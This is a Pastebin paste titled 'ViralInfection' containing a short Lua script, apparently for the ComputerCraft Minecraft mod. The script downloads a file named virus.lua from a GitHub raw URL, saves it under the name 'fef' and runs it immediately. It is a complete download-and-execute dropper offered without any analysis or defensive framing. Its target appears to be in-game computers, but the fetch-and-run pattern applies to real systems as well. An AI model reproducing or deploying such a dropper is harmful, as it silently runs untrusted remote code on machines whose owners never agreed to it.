Advertisement
ZeeDerp

ViralInfection

Jan 14th, 2021
981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function downloadFile(url, file)
  2.     http.request(url)
  3.     event, eUrl, content = os.pullEvent()
  4.     if event == "http_success" then
  5.       body = content.readAll()
  6.       file = fs.open(file, "w")
  7.       file.write(body)
  8.       file.flush()
  9.       file.close()
  10.     end
  11.   end
  12. downloadFile("https://raw.githubusercontent.com/ZeeDerp/ComputerCraftProjects/master/virus.lua","fef")
  13. shell.run("fef")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement